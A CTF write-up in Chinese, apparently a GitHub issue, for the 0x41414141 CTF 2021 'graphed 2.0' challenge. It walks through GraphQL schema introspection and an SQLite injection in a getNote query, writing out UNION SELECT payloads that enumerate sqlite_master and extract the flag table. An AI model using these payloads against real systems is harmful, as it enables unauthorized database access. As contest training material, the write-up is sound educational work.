0x41414141 CTF 2021 - graphed 2.0
aszx87410 opened this issue · comments
整個網頁都是沒有功能的
檢視原始碼會發現這樣一段 code:
<script>
function create_note() {
alert("sorry but this functionality is disabeled due to technical problems");
//query_data = `mutation {createNote(body:${document.getElementById("note-content").value}, title:"anon note", username:"guest"){note{uuid}}}`;
//fetch(`/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}`, {method: "POST"});
}
</script>
線索很明顯就是 graphql,接著試著打打看
http://207.180.200.166:8080/graphql?query=mutation{createNote(body:"ww", title:"anon note", username:"guest"){note{uuid}}}
發現確實建立了一個 note。
我對 graphql 不熟所以接下來開始亂試,發現有時候試到錯的東西會有提示,也太智慧了吧。試過以下東西:
http://207.180.200.166:8080/graphql?query={note{uuid}}
http://207.180.200.166:8080/graphql?query={getNotes{uuid}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title}}
後來透過 google: graphql query all fields
找到這篇:How to query all the GraphQL type fields without writing a long query?
就可以列舉出特定 object 的欄位:
{__type(name:"NoteObjectConnection") {fields {name,description}}}
{__type(name:"NoteObject") {fields {name,description}}}
{__type(name:"UserObject") {fields {name,description}}}
{__type(name:"UserObjectConnection") {fields {name,description}}}
{__type(name:"UserObjectEdge") {fields {name,description}}}
於是就可以拿到任何你想要的資料:
http://207.180.200.166:8080/graphql?query={coolNotes{uuid, body, title, authorId, author, id}}
{allNotes{ edges{ node { id, uuid, title, body } } } }
{allUsers{ edges{ node { id, uuid, username } } } }
接著在 note 裡面發現一個 flag:CUCTF{graphql_d3f1n1tely_1s_the_futur30985}
然後在 discord 看到提醒,這個不是真的 flag,拿這個 flag 去找到之前的 CUCTF,找到前身的幾個 write up:
- https://sourque.dev/writeups/cuctf20/graphed/
- https://github.com/CUCyber/cuctf-2020-challenges/tree/main/web-exploitation/graphed
進而找到了這篇:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
發現這個超好用 query 可以拿到所有資訊:
{__schema{types{name,fields{name}}}}
接著卡關卡一陣子,不知道該怎麼繼續,然後在看上面列出來的資訊時看到 getNote 覺得滿可疑,然後帶的參數也可以從上面得知,就試試看什麼:
{getNote(q:"flag"){ id,uuid, title, body }}
發現毫無反應只回傳空的資料,就試了:
{getNote(q:"''"){ title }}
然後就成功爆炸了!
{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
"locations": [
{
"line": 1,
"column": 2
}
],
"path": [
"getNote"
]
}
],
"data": {
"getNote": null
}
}
很明顯是 sqlite 的 injection,先看有幾個欄位:
{getNote(q:" ' union SELECT 1,1,1,1--"){ id,uuid, title, body }}
然後根據 SQLite Injection 拿到很多實用的資訊:
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
{getNote(q:" ' union SELECT tbl_name,1,1,1 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"){ id,uuid, title, body }}
在 table 裡面找到一個很可疑的 table name: العلم
接著弄出 sql
{getNote(q:" ' union SELECT sql,1,2,3 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='العلم' --"){ id,uuid, title, body }}
結果:
'CREATE TABLE العلم (id INTEGER PRIMARY KEY, flag TEXT NOT NULL)
最後就可以拿到 flag 了
{getNote(q:" ' union SELECT flag,1,2,3 FROM العلم --"){ id,uuid, title, body }}